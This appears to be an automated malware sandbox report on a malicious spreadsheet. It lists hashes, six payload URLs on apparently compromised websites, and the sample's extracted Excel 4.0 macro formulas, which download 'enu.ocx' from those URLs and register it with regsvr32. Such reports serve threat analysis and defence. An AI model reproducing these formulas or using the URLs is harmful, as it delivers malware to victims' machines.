General
-
Target
5fc0d2717955998b30861d89ab38bf76a8878b4f2a10b410c29e6d42112b5ff5
-
Size
46KB
-
Sample
241120-sqf2watjfn
-
MD5
417ede0b8d5dc555188c2216c4055e37
-
SHA1
f15b6eb79811ef60059d20e2f7e37c059348f50f
-
SHA256
5fc0d2717955998b30861d89ab38bf76a8878b4f2a10b410c29e6d42112b5ff5
-
SHA512
37f1ddc9105abd22e0ea97f3226a7f223d321c2d579343362fbae13c4a35032b14ced82fdb0e008bc705cf7d716c114d8cc40b8f6b6e6742c01ab95811ce7002
-
SSDEEP
768:KeoPDOevZCwrvtQazdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2etZF:ZoPDFtT5fTR4Lh1NisFYBc3cr+UqVUJ/
Malware Config
Extracted
https://goglobetravel.com/wp-admin/1O1Tjr9nHBV/
https://pakistannakliye.com/wp-admin/dyfAdRkv7/
https://spinoffyarnshop.com/content/YQlmbLaB/
http://murtjizindustry.com/wp-content/yI6/
http://nazrultheking.com/wp-includes/LZ/
http://hossaibmojammel.com/wp-content/qFPghprWO0ONxLFA5d/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://goglobetravel.com/wp-admin/1O1Tjr9nHBV/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pakistannakliye.com/wp-admin/dyfAdRkv7/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://spinoffyarnshop.com/content/YQlmbLaB/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://murtjizindustry.com/wp-content/yI6/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://nazrultheking.com/wp-includes/LZ/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hossaibmojammel.com/wp-content/qFPghprWO0ONxLFA5d/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()
Extracted
https://goglobetravel.com/wp-admin/1O1Tjr9nHBV/
https://pakistannakliye.com/wp-admin/dyfAdRkv7/
https://spinoffyarnshop.com/content/YQlmbLaB/
http://murtjizindustry.com/wp-content/yI6/
http://nazrultheking.com/wp-includes/LZ/
http://hossaibmojammel.com/wp-content/qFPghprWO0ONxLFA5d/
Extracted
https://goglobetravel.com/wp-admin/1O1Tjr9nHBV/
Targets
-
-
Target
5fc0d2717955998b30861d89ab38bf76a8878b4f2a10b410c29e6d42112b5ff5
-
Size
46KB
-
MD5
417ede0b8d5dc555188c2216c4055e37
-
SHA1
f15b6eb79811ef60059d20e2f7e37c059348f50f
-
SHA256
5fc0d2717955998b30861d89ab38bf76a8878b4f2a10b410c29e6d42112b5ff5
-
SHA512
37f1ddc9105abd22e0ea97f3226a7f223d321c2d579343362fbae13c4a35032b14ced82fdb0e008bc705cf7d716c114d8cc40b8f6b6e6742c01ab95811ce7002
-
SSDEEP
768:KeoPDOevZCwrvtQazdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2etZF:ZoPDFtT5fTR4Lh1NisFYBc3cr+UqVUJ/
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-